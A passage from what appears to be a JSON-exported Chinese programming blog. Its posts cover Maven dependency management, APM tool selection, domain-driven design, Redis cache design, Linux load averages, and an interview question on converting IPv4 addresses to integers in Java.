当 C 在 B 中的scope 是test 或 provided 时，C 直接被丢弃，A不依赖C 122 123　否则 A 依赖 C，C的scope 继承与B 的scope 124 125### 依赖管理(Dependency management) 126 127通过声明Dependency management，可以大大简化子POM的依赖声明。 128 129举例来说项目A,B,C,D都有共同的Parent，并有类似的依赖声明如下： 130 131- A、B、C、D/pom.xml 132 133```xml 134\u0026lt;dependencies\u0026gt; 135 \u0026lt;dependency\u0026gt; 136 \u0026lt;groupId\u0026gt;group-a\u0026lt;/groupId\u0026gt; 137 \u0026lt;artifactId\u0026gt;artifact-a\u0026lt;/artifactId\u0026gt; 138 \u0026lt;version\u0026gt;1.0\u0026lt;/version\u0026gt; 139 \u0026lt;exclusions\u0026gt; 140 \u0026lt;exclusion\u0026gt; 141 \u0026lt;groupId\u0026gt;group-c\u0026lt;/groupId\u0026gt; 142 \u0026lt;artifactId\u0026gt;excluded-artifact\u0026lt;/artifactId\u0026gt; 143 \u0026lt;/exclusion\u0026gt; 144 \u0026lt;/exclusions\u0026gt; 145 \u0026lt;/dependency\u0026gt; 146 \u0026lt;dependency\u0026gt; 147 \u0026lt;groupId\u0026gt;group-a\u0026lt;/groupId\u0026gt; 148 \u0026lt;artifactId\u0026gt;artifact-b\u0026lt;/artifactId\u0026gt; 149 \u0026lt;version\u0026gt;1.0\u0026lt;/version\u0026gt; 150 \u0026lt;type\u0026gt;bar\u0026lt;/type\u0026gt; 151 \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; 152 \u0026lt;/dependency\u0026gt; 153\u0026lt;/dependencies\u0026gt; 如果父pom声明了如下的Dependency management:\nParent/pom.xml 1\u0026lt;dependencyManagement\u0026gt; 2 \u0026lt;dependencies\u0026gt; 3 \u0026lt;dependency\u0026gt; 4 \u0026lt;groupId\u0026gt;group-a\u0026lt;/groupId\u0026gt; 5 \u0026lt;artifactId\u0026gt;artifact-a\u0026lt;/artifactId\u0026gt; 6 \u0026lt;version\u0026gt;1.0\u0026lt;/version\u0026gt; 7 \u0026lt;exclusions\u0026gt; 8 \u0026lt;exclusion\u0026gt; 9 \u0026lt;groupId\u0026gt;group-c\u0026lt;/groupId\u0026gt; 10 \u0026lt;artifactId\u0026gt;excluded-artifact\u0026lt;/artifactId\u0026gt; 11 \u0026lt;/exclusion\u0026gt; 12 \u0026lt;/exclusions\u0026gt; 13 \u0026lt;/dependency\u0026gt; 14 \u0026lt;dependency\u0026gt; 15 \u0026lt;groupId\u0026gt;group-a\u0026lt;/groupId\u0026gt; 16 \u0026lt;artifactId\u0026gt;artifact-b\u0026lt;/artifactId\u0026gt; 17 \u0026lt;version\u0026gt;1.0\u0026lt;/version\u0026gt; 18 \u0026lt;type\u0026gt;bar\u0026lt;/type\u0026gt; 19 \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; 20 \u0026lt;/dependency\u0026gt; 21 \u0026lt;dependency\u0026gt; 22 \u0026lt;groupId\u0026gt;group-c\u0026lt;/groupId\u0026gt; 23 \u0026lt;artifactId\u0026gt;artifact-b\u0026lt;/artifactId\u0026gt; 24 \u0026lt;version\u0026gt;1.0\u0026lt;/version\u0026gt; 25 \u0026lt;type\u0026gt;war\u0026lt;/type\u0026gt; 26 \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; 27 \u0026lt;/dependency\u0026gt; 28 29 \u0026lt;/dependencies\u0026gt; 30\u0026lt;/dependencyManagement\u0026gt; 31 32```html 33 34那么子项目的依赖声明会非常简单： 35 36- A、B、C、D/pom.xml 37 38```xml 39\u0026lt;dependencies\u0026gt; 40 \u0026lt;dependency\u0026gt; 41 \u0026lt;groupId\u0026gt;group-a\u0026lt;/groupId\u0026gt; 42 \u0026lt;artifactId\u0026gt;artifact-a\u0026lt;/artifactId\u0026gt; 43 \u0026lt;/dependency\u0026gt; 44 \u0026lt;dependency\u0026gt; 45 \u0026lt;groupId\u0026gt;group-a\u0026lt;/groupId\u0026gt; 46 \u0026lt;artifactId\u0026gt;artifact-b\u0026lt;/artifactId\u0026gt; 47 \u0026lt;!-- 依赖的类型，对应于项目坐标定义的packaging。大部分情况下，该元素不必声明，其默认值是jar.--\u0026gt; 48 \u0026lt;type\u0026gt;bar\u0026lt;/type\u0026gt; 49 \u0026lt;/dependency\u0026gt; 50\u0026lt;/dependencies\u0026gt; 51 52```html 53 54### 导入依赖范围 55 56它只使用在\u0026lt;dependencyManagement\u0026gt;中，表示从其它的pom中导入dependency的配置，例如 (B项目导入A项目中的包配置)： 57 58想必大家在做SpringBoot应用的时候，都会有如下代码 59 60```xml 61\u0026lt;parent\u0026gt; 62 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 63 \u0026lt;artifactId\u0026gt;spring-boot-starter-parent\u0026lt;/artifactId\u0026gt; 64 \u0026lt;version\u0026gt;1.3.3.RELEASE\u0026lt;/version\u0026gt; 65\u0026lt;/parent\u0026gt; 66 67```html 68 69继承一个父模块，然后再引入相应的依赖。 70 71假如说，我不想继承，或者我想继承多个，怎么做？ 72 73**我们知道Maven的继承和Java的继承一样，是无法实现多重继承的，如果10个、20个甚至更多模块继承自同一个模块，那么按照我们之前的做法，这个父模块的dependencyManagement会包含大量的依赖。如果你想把这些依赖分类以更清晰的管理，那就不可能了。** 74 75import scope依赖能解决这个问题。你可以把dependencyManagement放到单独的专门用来管理依赖的pom中，然后在需要使用依赖的模块中通过import scope依赖，就可以引入dependencyManagement。例如可以写这样一个用于依赖管理的pom： 76 77```xml 78\u0026lt;project\u0026gt; 79 \u0026lt;modelVersion\u0026gt;4.0.0\u0026lt;/modelVersion\u0026gt; 80 \u0026lt;groupId\u0026gt;com.test.sample\u0026lt;/groupId\u0026gt; 81 \u0026lt;artifactId\u0026gt;base-parent1\u0026lt;/artifactId\u0026gt; 82 \u0026lt;packaging\u0026gt;pom\u0026lt;/packaging\u0026gt; 83 \u0026lt;version\u0026gt;1.0.0-SNAPSHOT\u0026lt;/version\u0026gt; 84 \u0026lt;dependencyManagement\u0026gt; 85 \u0026lt;dependencies\u0026gt; 86 \u0026lt;dependency\u0026gt; 87 \u0026lt;groupId\u0026gt;junit\u0026lt;/groupId\u0026gt; 88 \u0026lt;artifactid\u0026gt;junit\u0026lt;/artifactId\u0026gt; 89 \u0026lt;version\u0026gt;4.8.2\u0026lt;/version\u0026gt; 90 \u0026lt;/dependency\u0026gt; 91 \u0026lt;dependency\u0026gt; 92 \u0026lt;groupId\u0026gt;log4j\u0026lt;/groupId\u0026gt; 93 \u0026lt;artifactid\u0026gt;log4j\u0026lt;/artifactId\u0026gt; 94 \u0026lt;version\u0026gt;1.2.16\u0026lt;/version\u0026gt; 95 \u0026lt;/dependency\u0026gt; 96 \u0026lt;/dependencies\u0026gt; 97 \u0026lt;/dependencyManagement\u0026gt; 98\u0026lt;/project\u0026gt; 然后我就可以通过非继承的方式来引入这段依赖管理配置\n1\u0026lt;dependencyManagement\u0026gt; 2 \u0026lt;dependencies\u0026gt; 3 \u0026lt;dependency\u0026gt; 4 \u0026lt;groupId\u0026gt;com.test.sample\u0026lt;/groupId\u0026gt; 5 \u0026lt;artifactid\u0026gt;base-parent1\u0026lt;/artifactId\u0026gt; 6 \u0026lt;version\u0026gt;1.0.0-SNAPSHOT\u0026lt;/version\u0026gt; 7 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 8 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 9 \u0026lt;/dependency\u0026gt; 10 \u0026lt;/dependencies\u0026gt; 11\u0026lt;/dependencyManagement\u0026gt; 12 13\u0026lt;dependency\u0026gt; 14 \u0026lt;groupId\u0026gt;junit\u0026lt;/groupId\u0026gt; 15 \u0026lt;artifactid\u0026gt;junit\u0026lt;/artifactId\u0026gt; 16\u0026lt;/dependency\u0026gt; 17\u0026lt;dependency\u0026gt; 18 \u0026lt;groupId\u0026gt;log4j\u0026lt;/groupId\u0026gt; 19 \u0026lt;artifactid\u0026gt;log4j\u0026lt;/artifactId\u0026gt; 20\u0026lt;/dependency\u0026gt; 21 22```html 23 24**注意：import scope只能用在dependencyManagement里面** 25 26这样，父模块的pom就会非常干净，由专门的packaging为pom来管理依赖，也契合的面向对象设计中的单一职责原则。此外，我们还能够创建多个这样的依赖管理pom，以更细化的方式管理依赖。这种做法与面向对象设计中使用组合而非继承也有点相似的味道。 27 28那么，如何用这个方法来解决SpringBoot的那个继承问题呢？ 29 30配置如下： 31 32这样配置的话，自己的项目里面就不需要继承SpringBoot的module了，而可以继承自己项目的module了。 33 34```xml 35\u0026lt;dependencyManagement\u0026gt; 36 \u0026lt;dependencies\u0026gt; 37 \u0026lt;dependency\u0026gt; 38 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 39 \u0026lt;artifactId\u0026gt;spring-boot-dependencies\u0026lt;/artifactId\u0026gt; 40 \u0026lt;version\u0026gt;1.3.3.RELEASE\u0026lt;/version\u0026gt; 41 \u0026lt;type\u0026gt;pom\u0026lt;/type\u0026gt; 42 \u0026lt;scope\u0026gt;import\u0026lt;/scope\u0026gt; 43 \u0026lt;/dependency\u0026gt; 44 \u0026lt;/dependencies\u0026gt; 45\u0026lt;/dependencyManagement\u0026gt; 46 47\u0026lt;dependencies\u0026gt; 48 \u0026lt;dependency\u0026gt; 49 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 50 \u0026lt;artifactId\u0026gt;spring-boot-starter-web\u0026lt;/artifactId\u0026gt; 51 \u0026lt;/dependency\u0026gt; 52\u0026lt;/dependencies\u0026gt; 关注公众号 获取更多精彩内容\n","date":"2020-07-21T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-07-21-maven-xiang-guan-zhi-shi-shu-li-ji-chang-jian-wen-ti/cover.jpg","permalink":"/p/2020-07-21-maven-xiang-guan-zhi-shi-shu-li-ji-chang-jian-wen-ti/","title":"maven相关知识梳理及常见问题"},{"content":"监控之 what\u0026amp;why 常用监控手段\n按监控层次分：业务监控、应用监控和基础监控等；\n按监控日志来源分：基于日志文件监控、基于数据库监控和基于网络监控等；\n按监控领域分：前端监控、后端监控、全链路监控、业务间监控等；\n按监控目标分：系统故障监控、业务指标监控、应用性能监控、用户行为监控、安全合规监控等。\n监控首先要解决的是目标设定，到底要解决什么问题，关注什么指标。\n我们的定位是APM 即应用性能监控。\n解决****微服务架构下：\n服务间依赖关系梳理、查询\n全局依赖关系拓扑\n**调用链跟踪、****拓扑、**查询\n服务响应时间监测（最长、最短、平均）\n服务JVM性能监测和告警\nDashboard（图表展示）\n进而解决\n服务问题快速诊断、定位\n对于自己的调用情况，方便作容量规划，同时对于突发的请求也能进行异常告警和应急准备\n打造监控闭环：监控不是目的，目的是告警，告警不是目的，目的是解决问题。\nAPM APM被作为一个细分领域的IT解决方案行业被单独提出来还是在近几年的事情，大概在2010年左右。 厂商有：appdynamics、听云、OneAPM等\nAPM五大维度\n终端用户体验 衡量从用户请求到数据再返回的流量传输是捕获最终用户体验（EUE）的一部分。此测量的结果称为实时应用程序监视（又称自顶向下监视），它具有被动和主动两个组件。被动监控 通常是使用网络端口镜像实现的无代理设备。主动监控 由预定义的合成探针和Web机器人组成，用于报告系统可用性和业务事务（即业务方自行埋点）。\n应用架构映射 应用程序发现和依赖关系映射（ADDM）解决方案用于自动执行将事务和应用程序映射到底层基础架构组件的过程。\n应用事务的分析 关注用户定义的事务或对业务社区有一定意义的URL页面定义。\n深度应用诊断 深度应用诊断（DDCM）需要安装代理，通常针对中间件，侧重于Web，应用程序和消息服务器。\n数据分析 获得一组通用的度量标准以收集和报告每个应用程序非常重要，然后标准化有关数据并呈现应用程序性能数据的常见视图。\nAPM被形象的称为应用程序的私人医生，越来越收到企业的青睐，比起通过日志方式记录关键数据显然要更加实用，APM主要包含如下核心功能：\n应用系统存活检测\n应用程序性能指标检测(CPU利用率、内存利用率等)\n应用程序关键事件检测\n检测数据持久化存储并能够多维度查询\n服务调用跟踪\n监控告警\n一般做法 下面三个维度是有重合部分的，比如JVM监控等。\nLogging:ELK\nMetrics:Prometheus\ntracing:本文选型\n先看一下演进的历史：\n由于pinpoint和skywalking从工作原理、性能、功能等方面很像，由于我们不需要追求那么好的UI，以及考虑到社区和apache的背书在这两者中我们选择了skywalking。而Uber的jaeger较新相对来说社区和文档的支持没有前者友好，就不在我们的选型范围了。\n我们的选型主要针对 zipkin cat 和skywalking进行\nCAT\nZipkin\nApache Skywalking调用链可视化\n有\n有有聚合报表\n非常丰富\n少\n较丰富\n服务依赖图简单简单好埋点方式\n侵入侵入非侵入，运行期字节码增强VM指标监控\n好\n无\n有\n告警支持\n有\n无\n有多语言支持\njava/.Net/C/C++/NodeJS/Python/Go等\n丰富\njava/.Net/NodeJS/PHP/Go\n存储机制\u0026nbsp;\nMysql,本地文件，HDFS（调用链）可选in memory,mysql,ES(生产)，Cassandra(生产)H2，ES（生产），mysql,TIDB等\n社区支持\n主要在国内，点评、美团\n文档丰富，国外主流\nApache支持，国内社区好\n国内案例\n点评、携程、陆金所、拍拍贷等\n京东、阿里定制不开源\n华为、小米、当当、微众银行\nAPM\nYes\nNo\nYes\n祖先源头\neBay CAL\nGoogle Dapper\nGoogle\u0026nbsp;Dapper\n同类产品\n暂无\nUber\u0026nbsp;jaeger,Spring Cloud Sleuth\nNaver Pinpoint\nGitHub starts(2020.7)\n13.7k\n13.2k\n14k\n亮点\n企业生产级，报表丰富社区生态好\n非侵入，Apache背书\n不足\n用户体验一般，社区一般\nAPM报表能力弱\n时间不长，文档一般\n基于以上，我的建议是：\nzipkin欠缺APM报表能力，不建议\n企业生产级，推荐CAT\n关注和试点 Skywalking\n用好调用链监控，难点在于后期的企业定制化和自研能力\n参考：\nhttps://www.infoq.cn/article/KYxDaw2qiZ7rm*7Ej3ps\nhttps://skywalking.apache.org/zh/blog/2019-03-29-introduction-of-skywalking-and-simple-practice.html\nhttps://developer.aliyun.com/article/272142\n关注公众号 获取更多精彩内容\n","date":"2020-07-21T02:27:54Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-07-21-apm-zu-jian-xuan-xing/cover.jpg","permalink":"/p/2020-07-21-apm-zu-jian-xuan-xing/","title":"APM 组件选型"},{"content":"\n什么是领域驱动设计？ 《**领域驱动设计 软件核心复杂性应对之道**》这本书是由 Eric Evans “领域驱动设计之父”，世界杰出软件建模专家所写。市面上绝大多数方法论资料的源头都是出自作者。**建议大家买来纸质书或电子书看看。** 正如这本书的副标题所说，领域驱动设计就是为了解决软件的核心复杂性的。 回首过去 在我以前的软件开发经验中，很多软件都是基于分层思想+贫血模式设计的（如下图）。我从入行就开始学习在MVC模式下进行编码开发。各种框架如strtus、mybatis、hibernate springMVC的应用也都基于此模式来进行。 在多年的开发过程中，经历过 用mybatis替换hibernate 用springMVC替换struts 业务逻辑重重的写在service层，因为太重又进行了多次重构 再回顾下我们的研发流程：一般是从需求开始，产品同学将需求分析完和开发同学进行需求评审，评审完毕后开发同学开始基于需求进行设计，一般会落到数据库设计，将库表设计完毕后，再向上进行分层开发。如果是前后端分离的项目，会在前期约定接口，进行基于契约的并行开发。所以，**我们称这种方式为数据驱动开发，或基于数据模型的开发。** **![Image](003-2e8f3777.png \u0026quot;image.png\u0026quot;) ![Image](004-94d15702.png \u0026quot;image.png\u0026quot;)** 聊聊现在 时代在发展，当年一个单体应用就是一个项目和软件，现在一个个的单体都被消灭了，大家也都转向了分布式和微服务。各种拆分、解耦，微服务大行其道，让计算机软件能够承载更多的需求，解决更大的问题。然而有利也有弊，比如：就算单体应用再大，对于一个新人而言，一个业务逻辑debug一趟也基本了解了。而在微服务架构下，一个服务的调用链可能连开发者自己都不一定能梳理清楚（一般要借助工具）。想把所有的逻辑完整的弄清楚是件很困难的事，系统越大越复杂越困难。即便在服务边界内由于代码并没有很清晰的业务概念和描述，也很难快速理解业务逻辑。你可能说这是新人，等新人成长了就好了。（呵呵，新人的体验差真的不解决一下吗？）老人就没有问题吗？当业务逻辑越来越复杂，代码越来越腐败，文档没人维护，留给你的也基本算是一滩沼泽了。我有过这种经历，那种想重新写个新服务的想法特别强烈。 总结来说，我们在新时代拥抱了微服务和分布式解决了很多扩展性上的问题，然后并没有解决软件复杂性的问题，具体来说有: 代码没体现业务，光看代码不能支撑你理解业务\n业务知识没有沉淀下来，对于业务的理解只能找业务专家和技术老人拼图（产品文档更新不及时，最终还是要看代码）\n软件工程师沦为CURD工程师 （何时能走上业务专家的路？）\n系统逐渐走向复杂和庞大，对系统的修改由于太过复杂和不甚了解而变得战战兢兢。\n代码腐败，扩展性差、迭代困难（从立项到重写）\n展望未来 幸运的是，我们并不是第一个遇到这种问题的人，在经历了大量类似场景后，前人们归纳总结了解决问题的办法，更幸运的是它与我们流行的微服务、分布式理论又是那么的契合。**这就是领域驱动设计。** 观察上图，战略和战术设计是站在DDD的角度进行划分。战略设计侧重于高层次、宏观上去划分和集成限界上下文，而战术设计则关注更具体使用建模工具来细化上下文。 **DDD战略设计产生的领域模型可以作为微服务设计的输入。此时，DDD的战术设计又恰好可以与微服务的设计完美无缝结合。** （上面这两段话懂的就懂了，不懂的，我们在后文还会再继续阐述，结合前面的知识你一定能明白。）\n统一的语言 **这是领域驱动设计的第一步，也是非常重要的一步，好的开始是成功的一半。** 开发团队与领域专家针对具体问题域与业务期望进行沟通，那么沟通要有统一的语言，不然产品有产品的术语，技术有技术的术语，业务还有业务的术语，大家鸡同鸭讲如何能把事儿说清楚？当然主要还是要依赖于业务，将业务术语和逻辑搞明白了，大家有统一而清晰的认识。（刚开始可能不明白，需要多与业务沟通，了解清楚，从源头就搞错了就尴尬了）。 这是一个将业务领域知识转化的过程，这里最熟悉业务的当然是领域专业或者业务专家，然而我们不是完全把他们所说的原封不动地copy下来，我们是要基于这些业务，用我们的技术知识、产品知识做出可用的软件来，最终它是个软件，我们把这些知识结合在一起，产出一个既满足业务逻辑又是合理的模型抽象。所有甚至有时候技术人员要让领域专家理解技术的解决方法。这样进行反复的沟通才能最终生出好的**领域模型**。这是建模的过程。 有了统一的认识如何落地？具体来说就是我们要落到纸面上，以便所有相关人员的理解，后面的开发、沟通都要基于这个。一般我们会用画图的方式，当然也可以结合一些文档说明。这就是统一的语言，将模型用统一的语言（图、文档）描述出来。所有人对业务的理解都是一致统一的。 模型，这种知识形式对知识进行了选择性的简化和有意的结构化。适当的模型可以使人理解信息的意义，并专注于问题。\n那有没有可用的工具和方法？还真有。（domain story telling ） 方法：domain story telling 网站：https://domainstorytelling.org/ 建模工具：https://github.com/WPS/domain-story-modeler 最终画出的图类似这样：\ndomain story telling 只有四类元素来表达领域模型 **![Image](008-a4951963.png \u0026quot;image.png\u0026quot;)** **actor’s 演员，可以是人、团体或软件系统** **work objects 操作的对象，比如文档、消息等** **activities 动作** **annotations 注释** **利用统一的语言最终产出的就是最初的领域概念模型（后面实践篇，我们会看些具体例子）** 接下来我们会对这个模型进行领域分析和考虑划分领域，找到领域边界。\n未完待续\u0026hellip;\u0026hellip;\n关注公众号 获取更多精彩内容\n","date":"2020-07-16T10:08:09Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-07-16-ling-yu-qu-dong-she-ji-cong-xue-xi-dao-shi-jian-yi/cover.jpg","permalink":"/p/2020-07-16-ling-yu-qu-dong-she-ji-cong-xue-xi-dao-shi-jian-yi/","title":"领域驱动设计：从学习到实践（一）"},{"content":"一 穿透优化 缓存空对象和布隆过滤器方案对比\n解决缓存穿透\n适用场景\n维护成本\n缓存空对象\n数据命中不高\n数据频繁变化实时性高\n代码维护简单\n需要过多的缓存空间\n数据不一致\n布隆过滤器\n数据命中不高\n数据相对固定实时性低\n代码维护复杂\n缓存空间占用少\n二 无底洞优化 四种批量操作解决方案对比\n方案\n优点\n缺点\n网络IO\n串行命令\n编程简单\n如果少量keys,性能可以满足要求\n大量keys请求延迟严重\nO(keys)\n串行IO\n编程简单\n少量节点，性能满足要求\n大量node 延迟严重\nO(nodes)\n并行IO\n利用并行特性，延迟取决于最慢的节点\n编程复杂\n由于多线程，问题定位可能较难\nO(max_slow(nodes))\nhash_tag\n性能最高\n业务维护成本较高\n容易出现数据倾斜\nO(1)\n三 雪崩优化 保证缓存层服务高可用性\n依赖隔离组件为后端限流并降级\n提前演练\n四 热点key 重建优化 两种热点key 的解决方法\n解决方案\n优点\n缺点\n简单分布式锁\n思路简单\n保证一致性\n代码复杂度增大\n存在死锁的风险\n存在线程池阻塞的风险\n永远不过期\n基本杜绝热点key 问题\n不保证一致性\n逻辑过期时间增加代码维护成本和内存成本\n关注公众号 获取更多精彩内容\n","date":"2020-06-15T01:14:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-06-15-redis-huan-cun-she-ji/cover.jpg","permalink":"/p/2020-06-15-redis-huan-cun-she-ji/","title":"Redis 缓存设计"},{"content":"\n原文链接：https://www.gracecode.com/posts/2973.html\n你可能对于 Linux 的负载均值（load averages）已有了充分的了解。负载均值在 uptime 或者 top 命令中可以看到，它们可能会显示成这个样子：\nload average: 0.09, 0.05, 0.01\n很多人会这样理解负载均值：三个数分别代表不同时间段的系统平均负载（一分钟、五 分钟、以及十五分钟），它们的数字当然是越小越好。数字越高，说明服务器的负载越大，这也可能是服务器出现某种问题的信号。\n而事实不完全如此，是什么因素构成了负载均值的大小，以及如何区分它们目前的状况是 「好」还是「糟糕」？什么时候应该注意哪些不正常的数值？\n回答这些问题之前，首先需要了解下这些数值背后的些知识。我们先用最简单的例子说明， 一台只配备一块单核处理器的服务器。\n行车过桥 一只单核的处理器可以形象得比喻成一条单车道。设想下，你现在需要收取这条道路的过桥 费 \u0026ndash; 忙于处理那些将要过桥的车辆。你首先当然需要了解些信息，例如车辆的载重、以及 还有多少车辆正在等待过桥。如果前面没有车辆在等待，那么你可以告诉后面的司机通过。如果车辆众多，那么需要告知他们可能需要稍等一会。\n因此，需要些特定的代号表示目前的车流情况，例如：\n0.00 表示目前桥面上没有任何的车流。实际上这种情况与 0.00 和 1.00 之间是相同的，总而言之很通畅，过往的车辆可以丝毫不用等待的通过。\n1.00 表示刚好是在这座桥的承受范围内。这种情况不算糟糕，只是车流会有些堵，不过这种情况可能会造成交通越来越慢。\n超过 1.00，那么说明这座桥已经超出负荷，交通严重的拥堵。那么情况有多糟糕？例如 2.00 的情况说明车流已经超出了桥所能承受的一倍，那么将有多余过桥一倍的车辆正在焦急的等待。3.00 的话情况就更不妙了，说明这座桥基本上已经快承受不了，还有超出桥负载两倍多的车辆正在等待。\n上面的情况和处理器的负载情况非常相似。一辆汽车的过桥时间就好比是处理器处理某线程 的实际时间。Unix 系统定义的进程运行时长为所有处理器内核的处理时间加上线程在队列中等待的时间。\n和收过桥费的管理员一样，你当然希望你的汽车（操作）不会被焦急的等待。所以，理想状态 下，都希望负载平均值小于 1.00 。当然不排除部分峰值会超过 1.00，但长此以往保持这 个状态，就说明会有问题，这时候你应该会很焦急。\n「所以你说的理想负荷为 1.00 ？」 嗯，这种情况其实并不完全正确。负荷 1.00 说明系统已经没有剩余的资源了。在实际情况中 ，有经验的系统管理员都会将这条线划在 0.70：\n「需要进行调查法则」：如果长期你的系统负载在 0.70 上下，那么你需要在事情变得更糟糕之前，花些时间了解其原因。\n「现在就要修复法则」：1.00 。如果你的服务器系统负载长期徘徊于 1.00，那么就应该马上解决这个问题。否则，你将半夜接到你上司的电话，这可不是件令人愉快的事情。\n「凌晨三点半锻炼身体法则」：5.00。如果你的服务器负载超过了 5.00 这个数字，那么你将失去你的睡眠，还得在会议中说明这情况发生的原因，总之千万不要让它发生。\n那么多个处理器呢？我的均值是 3.00，但是系统运行正常！ 哇喔，你有四个处理器的主机？那么它的负载均值在 3.00 是很正常的。\n在多处理器系统中，负载均值是基于内核的数量决定的。以 100% 负载计算，1.00 表示单个处理器，而 2.00 则说明有两个双处理器，那么 4.00 就说明主机具有四个处理器。\n回到我们上面有关车辆过桥的比喻。1.00 我说过是「一条单车道的道路」。那么在单车道 1.00 情况中，说明这桥梁已经被车塞满了。而在双处理器系统中，这意味着多出了一倍的 负载，也就是说还有 50% 的剩余系统资源 \u0026ndash; 因为还有另外条车道可以通行。\n所以，单处理器已经在负载的情况下，双处理器的负载满额的情况是 2.00，它还有一倍的资源可以利用。\n多核与多处理器 先脱离下主题，我们来讨论下多核心处理器与多处理器的区别。从性能的角度上理解，一台主 机拥有多核心的处理器与另台拥有同样数目的处理性能基本上可以认为是相差无几。当然实际 情况会复杂得多，不同数量的缓存、处理器的频率等因素都可能造成性能的差异。\n但即便这些因素造成的实际性能稍有不同，其实系统还是以处理器的核心数量计算负载均值 。这使我们有了两个新的法则：\n「有多少核心即为有多少负荷」法则：在多核处理中，你的系统均值不应该高于处理器核心的总数量。\n「核心的核心」法则：核心分布在分别几个单个物理处理中并不重要，其实两颗四核的处理器 等于 四个双核处理器 等于 八个单处理器。所以，它应该有八个处理器内核。\n审视我们自己 让我们再来看看 uptime 的输出\n1~ $ uptime 223:05 up 14 days, 6:08, 7 users, load averages: 0.65 0.42 0.36 这是个双核处理器，从结果也说明有很多的空闲资源。实际情况是即便它的峰值会到 1.7，我也从来没有考虑过它的负载问题。\n那么，怎么会有三个数字的确让人困扰。我们知道，0.65、0.42、0.36 分别说明上一分钟、最后五分钟以及最后十五分钟的系统负载均值。那么这又带来了一个问题：\n我们以哪个数字为准？一分钟？五分钟？还是十五分钟？\n其实对于这些数字我们已经谈论了很多，我认为你应该着眼于五分钟或者十五分钟的平均数 值。坦白讲，如果前一分钟的负载情况是 1.00，那么仍可以说明认定服务器情况还是正常的。但是如果十五分钟的数值仍然保持在 1.00，那么就值得注意了（根据我的经验，这时候你应 该增加的处理器数量了）。\n那么我如何得知我的系统装备了多少核心的处理器？\n在 Linux 下，可以使用\ncat /proc/cpuinfo\n获取你系统上的每个处理器的信息。如果你只想得到数字，那么就使用下面的命令：\ngrep 'model name' /proc/cpuinfo | wc -l\n关注公众号 获取更多精彩内容\n","date":"2020-05-28T11:00:03Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-05-28-li-jie-linux-de-chu-li-qi-fu-zai-jun-zhi-zhuan/cover.jpg","permalink":"/p/2020-05-28-li-jie-linux-de-chu-li-qi-fu-zai-jun-zhi-zhuan/","title":"理解 Linux 的处理器负载均值（转）"},{"content":"\n突如其来的电话面试\n事情是这样的，今天吃完晚饭在外面公园遛达了一圈，回到家没一会儿接到了一个电话，说是阿里云的，心中疑惑，不对呀，我刚收到回阿里的拒信（之前投过，被拒了）。\n聊了一下，虽然不太清楚阿里的流程，但老哥态度特别好，电话面试一下总是没问题的。\n下面分享下问题\n一 给你一个 ipv4 的地址，把它转到 Int , 用一个Int变量装。\n这个题很明显直接装是有可能越界装不下的。int是32位。long倒是可以。\n我想了一会儿说了一个答案，没对，后来老哥给我解释了一下，然后恍然大明白了，其实是个小技巧。直接上代码吧。\n1/** 2 * 将 ip 字符串转换为 int 类型的数字 3 * \u0026lt;p\u0026gt; 4 * 思路就是将 ip 的每一段数字转为 8 位二进制数，并将它们放在结果的适当位置上 5 * 6 * @param ipString ip字符串，如 127.0.0.1 7 * @return ip字符串对应的 int 值 8 */ 9public static int ip2Int(String ipString) { 10 // 取 ip 的各段 11 String[] ipSlices = ipString.split(\u0026#34;\\\\.\u0026#34;); 12 int rs = 0; 13 for (int i = 0; i \u0026lt; ipSlices.length; i++) { 14 // 将 ip 的每一段解析为 int，并根据位置左移 8 位 15 int intSlice = Integer.parseInt(ipSlices[i]) \u0026lt;\u0026lt; 8 * i; 16 // 求与 17 rs = rs | intSlice; 18 } 19 return rs; 20} 21 22```java 23 24**那怎么再从int 转成ipv4 字符串呢？** 25 26其实也很简单，思路是一样的，将 int 值的 32 位分为 4 个 8 位数字，然后这 4 个 8 位的数字用 0~255 的数字进行表示，用点号分隔即可。我们也基于位运算，7 行代码即可实现。 27 28```cpp 29/** 30 * 将 int 转换为 ip 字符串 31 * 32 * @param ipInt 用 int 表示的 ip 值 33 * @return ip字符串，如 127.0.0.1 34 */ 35public static String int2Ip(int ipInt) { 36 String[] ipString = new String[4]; 37 for (int i = 0; i \u0026lt; 4; i++) { 38 // 每 8 位为一段，这里取当前要处理的最高位的位置 39 int pos = i * 8; 40 // 取当前处理的 ip 段的值 41 int and = ipInt \u0026amp; (255 \u0026lt;\u0026lt; pos); 42 // 将当前 ip 段转换为 0 ~ 255 的数字，注意这里必须使用无符号右移 43 ipString[i] = String.valueOf(and \u0026gt;\u0026gt;\u0026gt; pos); 44 } 45 return String.join(\u0026#34;.\u0026#34;, ipString); 46} 二 设计一个分布式的图片存储系统 QPS：5K以上 可以使用通用的中件间。\n针对这个问题我扯了半天，感觉有些在点儿上，有些不在，想来如果你设计过，有过设计经验应该多数能说到点儿上。别的不说，光可高用就能扯半天，比如集群故障情况下的失效转移（Failover）。不同故障下的解决方案（瞬间故障、临时故障、永久故障）。网上相关资料也挺多的，可以参考开源系统的设计比如：FastDFS。是一个由 C 语言实现的开源轻量级分布式文件系统(https://github.com/happyfish100/fastdfs) 关注公众号 获取更多精彩内容\n","date":"2020-05-12T14:23:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-05-12-a-li-yun-mian-shi-ti-fen-xiang/cover.jpg","permalink":"/p/2020-05-12-a-li-yun-mian-shi-ti-fen-xiang/","title":"阿里云面试题分享"},{"content":"\n1 说下对 volatile关键字的理解 